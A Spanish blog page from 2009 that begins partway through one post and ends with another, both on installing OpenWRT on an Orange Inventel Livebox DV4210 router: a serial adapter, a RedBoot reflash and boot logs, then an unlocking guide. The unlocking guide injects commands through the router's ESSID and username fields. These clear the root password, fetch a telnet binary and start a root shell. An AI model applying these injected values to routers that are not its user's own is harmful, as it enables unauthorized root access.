Entre medias debemos poner el MAX3232 para adaptar las señales del puerto serie del Router (TTL) a señales que entienda el ordenador (RS232). En la imagen se puede observar el conector blanco con una numeración. Cada patilla corresponde a una cosa distinta.

  1. RX
  2. TX
  3. Boton 2 (no utilizado en este tutorial)
  4. Boton 1 (no utilizado en este tutorial)
  5. +5v
  6. GND

Un esquema del MAX3232 puede ser el siguiente: (hay muchos por internet)

Esquema MAX3232

Los condensadores utilizados son de aproximadamente 1uF y si queremos coger los 5v que el router nos proporciona por el puerto serie, debemos poner dos diodos (o tres) en serie con el catodo apuntando hacia la patilla 16 del MAX3232 para que caiga la tensión a una mas aproximada a 3,3v.

El patillaje de salida es el siguente:

  • EXT21: Alimentación del circuito a 3,3v.
  • EXT13: GND
  • EXT22: Al RX del router.
  • EXT23: Al TX del router.
  • X1: Conector DB9 a enchufar al RS232 del ordenador.
  • X1 – Patilla 2: RX
  • X1 – Patilla 3: TX
  • X1 – Patilla 5: GND

Primero accederemos por Telnet al router para cambiar el cargador Redboot por otro que dos deje parar e introducirnos en la linea de comandos cuando el Livebox arranca.

Este es el Reboot que flahsearemos a la “particion” mtd0:

Descargar Redboot.20040719 y utilidades

Dentro de este archivo puedes encontrar el archivo redboot.20040719 que es para cambiar el cargador a parte de mas archivos que posteriormente nos serviran para compilarnos un propio OpenWRT. El archivo redboot.20040719 lo debemos colocar en el raiz de nuestro servidor FTP para posteriormente descargarlo al Livebox.

Chequea que el archivo reboot.20040719 no este corrupto comparandolo con el de la Web de Andyp o bajandolo directamente desde su pagina Web pulsando aqui. Es muy importante que este archivo este sano ya que sino te podrias cargar el router y hacer un bonito pisapapeles con el. Tengo entendido que hay un metodo para volver a recuperarlo, que es utilizando una conexion JTAG con el ordenador y volver a flashear, pero esto no lo vamos a tratar aqui ya que de momento no se ha dado el caso.

Una vez que estamos dentro del router via Telnet tecleamos los siguientes comandos y cruzamos los dedos, si haces algo mal ROMPERAS TU ROUTER!!!.

# cd /tmp
# wget ftp://192.168.1.2/redboot.20040719

En este punto asegurate que el archivo se ha descargado correctamente a tu router.

# fcp -v redboot.20040719 /dev/mtd0
Erasing blocks: 3/3 (100%)
Writing data: 192k/192k (100%)
Verifying data: 192k/192k (100%)
#
# reboot
Sending SIGTERM to adsld and pppd.

Otra cosa que debemos hacer es instalar un servidor TFTP (distinto al servidor FTP que ya tenemos instalado) en nuestro PC. Busca información por internet al respecto, hay muchos tanto en Linux como en Windows y todos con sus respetivas configuraciones.

Dentro del directorio del TFTP debemos poner la imagen openwrt.cramfs a cargar a nuestro router. Este archivo lo podemos encontrar ya compilado y preparado para su uso en la web de danitool o bajandolo directamente desde aqui.

Una vez que has flasheado tu router con el nuevo Redboot, conecta el router al puerto serie, abre el Hyperterminal o el Cutecom (115200, 8N1) y reinicialo (apaga y enciende de nuevo) y presiona Ctrl+C cuando el Livebox esta arrancando. Entonces deberias ver la linea de comandos de Redboot. Revisa la configuracion.


fconfig -l -n

Ahora vamos a cambiar la IP del cargador de arranque RedBoot y le vamos a decir de que servidor TFTP tiene que coger las imagenes de firmware.


fconfig bootp_my_ip 192.168.1.1
fconfig bootp_server_ip 192.168.1.2

Apagamos el router, lo volvemos a encender, volvemos a pulsar Ctrl+C para entrar en el Redboot y si queremos hacemos un ping a la nueva IP del router (192.168.1.1) para comprobar que tenemos conectividad con el.

Ahora vamos a cargar la imagen ya precompilada de DD-WRT (En el siguiente post explicare como podemos compilar nuestro OpenWRT). Para esto debemos asegurarnos que el archivo que nos hemos bajado antes, lo hemos descomprimido y colocar el archivo openwrt.cramfs en el directorio raiz del servidor TFTP y escribir lo siguiente:

Primero comprobamos la lista de particiones


RedBoot> fis list
Name FLASH addr Mem addr Length Entry point
RedBoot 0xBE400000 0xBE400000 0x00030000 0x00000000
user_fs 0xBE430000 0xBE430000 0x00720000 0x80545FB0
jffs_system 0xBEB50000 0xBEB50000 0x000A0000 0x80545FB0
FIS directory 0xBEBF0000 0xBEBF0000 0x0000F000 0x00000000
RedBoot config 0xBEBFF000 0xBEBFF000 0x00001000 0x00000000

Como puedes observar, tenemos una particion jffs_system con direccion de flash 0xBEB50000 y una longitud 0x000A0000. Entonces borraremos la particion jffs_system.


fis erase -f 0xBEB50000 -l 0x000A0000

Cargamos el firmware nuevo al router, es decir, el archivo openwrt.cramfs.


load -r -v -b 0x80800000 openwrt.cramfs

Y flasheamos el nuevo firmware.


fis create -b 0x80800000 user_fs

Tardara un poco, pero una vez cargado reseteamos el router escribiendo “reset” en la linea de comandos de Redboot y deberiamos ver un arranque correcto del router del estilo a esto:


Linux version 2.6.30.9 (dani@NEXUS) (collect2: ld returned 1 exit status) #17 Thu Nov 19 21:18:34 CET 2009
Detected Broadcom 0x6348 CPU revision b0
CPU frequency is 256000000 Hz
16MB of RAM installed
registering 37 GPIOs
console [early0] enabled
CPU revision is: 00029107 (Broadcom BCM6348)
board_livebox: board name: Livebox
Determined physical RAM map:
memory: 01000000 @ 00000000 (usable)
Initrd not found or empty - disabling initrd
Zone PFN ranges:
Normal 0x00000000 -> 0x00001000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00001000
On node 0 totalpages: 4096
free_area_init_node: node 0, pgdat 80283910, node_mem_map 802e7000
Normal zone: 32 pages used for memmap
Normal zone: 0 pages reserved
Normal zone: 4064 pages, LIFO batch:0
Built 1 zonelists in Zone order, mobility grouping off. Total pages: 4064
Kernel command line: root=/dev/mtdblock1 rootfstype=cramfs,squashfs init=/etc/preinit console=ttyS0,115200
Primary instruction cache 16kB, VIPT, 2-way, linesize 16 bytes.
Primary data cache 8kB, 2-way, VIPT, no aliases, linesize 16 bytes
NR_IRQS:128
PID hash table entries: 64 (order: 6, 256 bytes)
Dentry cache hash table entries: 2048 (order: 1, 8192 bytes)
Inode-cache hash table entries: 1024 (order: 0, 4096 bytes)
Memory: 13268k/16384k available (2088k kernel code, 3116k reserved, 428k data, 124k init, 0k highmem)
Calibrating delay loop... 252.41 BogoMIPS (lpj=504832)
Mount-cache hash table entries: 512
net_namespace: 332 bytes
NET: Registered protocol family 16
registering PCI controller with io_map_base unset
bio: create slab at 0
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
pci 0000:00:01.0: reg 10 32bit mmio: [0x000000-0x001fff]
Switched to high resolution mode on CPU 0
PCI: Enabling device 0000:00:01.0 (0000 -> 0002)
PCI: Setting latency timer of device 0000:00:01.0 to 64
ssb: Sonics Silicon Backplane found on PCI device 0000:00:01.0
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 512 (order: 0, 4096 bytes)
TCP bind hash table entries: 512 (order: -1, 2048 bytes)
TCP: Hash tables configured (established 512 bind 512)
TCP reno registered
NET: Registered protocol family 1
audit: initializing netlink socket (disabled)
type=2000 audit(0.650:1): initialized
squashfs: version 4.0 (2009/01/31) Phillip Lougher
Registering mini_fo version $Id$
JFFS2 version 2.2. (NAND) (SUMMARY) © 2001-2006 Red Hat, Inc.
msgmni has been set to 25
alg: No test for stdrng (krng)
io scheduler noop registered
io scheduler deadline registered (default)
bcm63xx_uart.0: ttyS0 at MMIO 0xfffe0300 (irq = 10) is a bcm63xx_uart
console handover: boot [early0] -> real [ttyS0]
bcm63xx_enet MII bus: probed
physmap platform flash device: 00800000 at 1e400000
physmap-flash.0: Found 1 x16 devices at 0x0 in 16-bit bank
Amd/Fujitsu Extended Query Table at 0x0040
number of CFI chips: 1
cfi_cmdset_0002: Disabling erase-suspend-program due to code brokenness.
Searching for RedBoot partition table in physmap-flash.0 at offset 0x7f0000
5 RedBoot partitions found on MTD device physmap-flash.0
Creating 5 MTD partitions on "physmap-flash.0":
0x000000000000-0x000000030000 : "RedBoot"
0x000000030000-0x000000750000 : "user_fs"
0x000000750000-0x0000007f0000 : "jffs_system"
0x0000007f0000-0x0000007ff000 : "FIS directory"
0x0000007ff000-0x000000800000 : "RedBoot config"
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
bcm63xx_ohci bcm63xx_ohci.0: BCM63XX integrated OHCI controller
bcm63xx_ohci bcm63xx_ohci.0: new USB bus registered, assigned bus number 1
bcm63xx_ohci bcm63xx_ohci.0: irq 20, io mem 0xfffe1b00
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 2 ports detected
bcm63xx_wdt started, timer margin: 30 sec
TCP westwood registered
NET: Registered protocol family 17
VFS: Mounted root (cramfs filesystem) readonly on device 31:1.
Freeing unused kernel memory: 124k freed
Please be patient, while OpenWrt loads ...
mini_fo: using base directory: /jffs/etc-ro
mini_fo: using storage directory: /jffs/etc
bcm63xx_enet bcm63xx_enet.0: attached PHY at address 1 [Broadcom BCM63XX (1)]
device eth0 entered promiscuous mode
eth0: link UP - 100/full - flow control off
br-lan: port 1(eth0) entering forwarding state
eth1: link forced UP - 100/full - flow control off/off
cfg80211: Calling CRDA to update world regulatory domain
SCSI subsystem initialized
b43-phy0: Broadcom 4318 WLAN found (core revision 9)
phy0: Selected rate control algorithm 'minstrel'
Registered led device: b43-phy0::tx
Registered led device: b43-phy0::rx
Registered led device: b43-phy0::radio
Broadcom 43xx driver loaded [ Features: PL, Firmware-ID: FW13 ]
Driver 'sd' needs updating - please use bus_type methods
usbcore: registered new interface driver snd-usb-audio
Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
b43 ssb0:0: firmware: requesting b43/ucode5.fw
b43 ssb0:0: firmware: requesting b43/pcm5.fw
b43 ssb0:0: firmware: requesting b43/b0g0initvals5.fw
b43 ssb0:0: firmware: requesting b43/b0g0bsinitvals5.fw
b43-phy0: Loading firmware version 410.2160 (2007-05-26 15:32:10)
BusyBox v1.14.4 (2009-11-17 12:55:07 CET) built-in shell (ash)
Enter 'help' for a
list of built-in commands.

_______ ________ __
| |.-----.-----.-----.| | | |.----.| |_
| - || _ | -__| || | | || _|| _|
|_______|| __|_____|__|__||________||__| |____|
|__| W I R E L E S S F R E E D O M
KAMIKAZE (bleeding edge, r18440) ------------------
* 10 oz Vodka Shake well with ice and strain
* 10 oz Triple sec mixture into 10 shot glasses.
* 10 oz lime juice Salute!
---------------------------------------------------
root@OpenWrt:/#

Si no te salen las ultimas lineas da unos cuantos intros para acceder a la consola.

Con estos pasos ya esta OpenWRT instalado, pero sin muchas de las aplicaciones, en el siguiente post, como ya os he dicho, compilaremos nuestro propio OpenWRT con las aplicaciones que deseemos y demas, pero lograr lo que ha conseguido danitool ya es un gran avance para este router. Quizas dentro de poco ya tengamos imagenes creadas por los desarrolladores de OpenWRT para que podamos cargar directamente el firmware al router sin necesidad de tanto jaleo.

Tan solo dar las gracias a danitool y no os olvideis de visitar su blog, ya que este Howto ha sido basado en el suyo.

danitool: http://my.opera.com/danitool

Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,
Nov
24
2009
15

OpenWRT en Inventel Livebox DV4210 (Parte 1/3) – Liberación


1. EL LIVEBOX

Como ya sabreis, Orange distribuye el router Livebox bloqueado para que no se pueda usar con otros proveedores de internet. El bloqueo es a 2 niveles.

  1. Solo acepta conexiones PPPoE o PPPoA (las que ofrece Orange).
  2. Solo permite nombres de usuario del tipo xxx@orangeadsl, xxx@wanadooadsl y similares. Por tanto, no podremos configurarlo para usarlo con otro ISP.

Al desbloquearlo conseguimos 2 cosas:

  1. Que nos permitirá seleccionar cualquier tipo de conexión: PPPoA, PPPoE, DHCP + NAT, RFC1483, bridge.
  2. Un aumento del rendimiento global en las velocidades de subida y bajada.

2. QUE NECESITAREMOS

Para desbloquear el router vamos a necesitar los siguientes elementos:

  1. Estar familiarizado en el manejo del router, asignación de IPs privadas, etc…
  2. Un PC.
  3. Un cable USB.
  4. El CD de configuración del Livebox. Si no lo tienes, puedes bajarlo desde aquí.
  5. Un servidor FTP que debemos instalar en nuestro PC. En nuestro caso, usamos el Serv-U, que es un servidor FTP muy sencillo de instalar y configurar.
  6. Un servidor de telnet, utelnetd.
  7. Una utilidad para convertir el código que nos devuelve el router (solo para liberarlo).
  8. Unos 15 minutos de tiempo.

3. ¿EN QUE SE BASA EL DESBLOQUEO?

El desbloqueo se basa en una vulnerabilidad de los Firmwares antiguos que nos permite introducir comandos desde la configuración del ESSID. Lo que haremos es instalar en el router un servidor de telnet que nos permitirá ejecutar comandos en el router y que nos proporcione el código de desbloqueo del router. Una vez desbloqueado, tendremos acceso a todas las opciones del router sin ningún tipo de limitación impuesta por Orange.

4. EL DOWNGRADE

La vulnerabilidad de la inyección de comandos desde la ventana ESSID se corrigió en los últimos Firmwares. Por tanto, lo primero que debemos hacer es hacer un downgrade del firmware del router, es decir, pasar a una versión anterior que tenga la vulnerabilidad. Para ello vamos a bajarnos el Firmware adecuado desde aquí y lo guardamos en nuestro PC.

Antes de desactualizar el Firmware vamos a asignar una IP fija a nuestro PC. En nuestro caso será 192.168.1.2 y la del router será 192.168.1.1.

Conectamos el Livebox y el PC usando el cable USB. Instalamos el software de configuración que viene en el CD (que puedes encontrar en este mismo post en el punto 2). Una vez finalizado, vemos que tenemos una utilidad que se llama “configuración de fábrica USB”.

Una vez pulsado, nos aparece una ventana donde hemos de seleccionar el Firmware que vamos a instalar en el router.

A partir de aquí el proceso se completa como una actualización normal de firmware.

Una vez completado el proceso, tendremos el Firmware vulnerable listo.

5. EL SERVIDOR DE TELNET

El Utelnetd lo renombraremos por comodidad a “u”. Lo podemos descargar desde su página o bien lo puedes descargar ya renombrado a “u” desde aquí.

Guardamos el fichero en un directorio.

6. EL SERVIDOR FTP

Ahora vamos a instalar el Serv-U en nuestro PC. La instalación no tiene ningún misterio y solo debemos estar atentos en que debemos permitir el acceso anónimo y poner como raíz del FTP el directorio donde hemos guardado el fichero “u”.

7. INYECCIÓN DE COMANDOS

Para inyectar los comandos y evitar errores os recomiendo que hagais un “copiar y pegar” de los comandos.

Entramos en el router (admin/admin) y vamos a la pantalla de usuario conexión y en el nombre de usuario ponemos:


;echo root::0:0:root:/root:/bin/sh >/etc/passwd

Con ello le quitamos la contraseña de root al router.

Luego en Configuración->Avanzada->Inalámbrico, cambia el ESSID a:


;cd /etc;wget ftp://192.168.1.2/u

Pulsamos en “Enviar” y luego en “Aplicar”. Pasado unos instantes, el router se reinicia solo.

Con ello lo que hacemos es decirle al router que se conecte por FTP a nuestro PC y se descargue el fichero “u”. Si tu PC usa otra IP solo tienes que sustituir 192.168.1.2 por la IP privada de tu PC.

Ahora, volvemos a cambiar el ESSID y ponemos:


;chmod 777 /etc/u

Con esta acción damos permisos de ejecución al fichero “u”.

Por último, volvemos a cambiar el ESSID a:


;/etc/u -p 23 -l /bin/sh -d

Una vez más pulsamos en “Enviar” y luego en “Aplicar”. El router se volverá a reiniciar.

8. CONECTAR POR TELNET

Si hemos realizado todos los pasos de manera correcta, podremos conectar via Telnet con nuestro router. Abrimos una ventana de comandos y tecleamos “telnet 192.168.1.1″ y nos aparecerá el Busybox.

Ahora debemos ejecutar lo siguiente en el telnet:

redboot_fconfig_get –parameter h235_key /dev/mtd4

Nos devolverá una clave hexadecimal. La copiamos y la introducimos en esta página web http://www.agp.dsl.pipex.com/h235tounlock.html. Tambien podemos bajar estos archivos a nuestro ordenador y hacerlo en local.

Nos devolverá la clave ya convertida lista para desbloquear el router.

Por último, solo queda acceder por HTTP al router e ir a la página http://192.168.1.1/brdgoff.html pegar el código de desbloqueo proporcionado por la página y ya tendremos el router liberado para cualquier operador y con un firmware sin restricciones.

Una vez reiniciado el router, vemos como lo podremos configurar para cualquier ISP.


Ya tenemos nuestro router Livebox liberado (no necesario para cargar OpenWRT) y con acceso Telnet.

En el siguiente post explicare como cargar el firmware OpenWRT en nuestro LiveBox. Este OpenWRT es una version en desarrollo, por lo que todas las funcionaliadades del router (por ejemplo, la conexion ADSL) no estaran disponibles y no se si lo estarán en un futuro.

Fuente: ADSLZone.net

Written by Javier Rodriguez in: Linux,Redes | Etiquetas: , , , ,

Theme: TheBuckmaker.com Blog Themes | Hostpapa customer, Berlin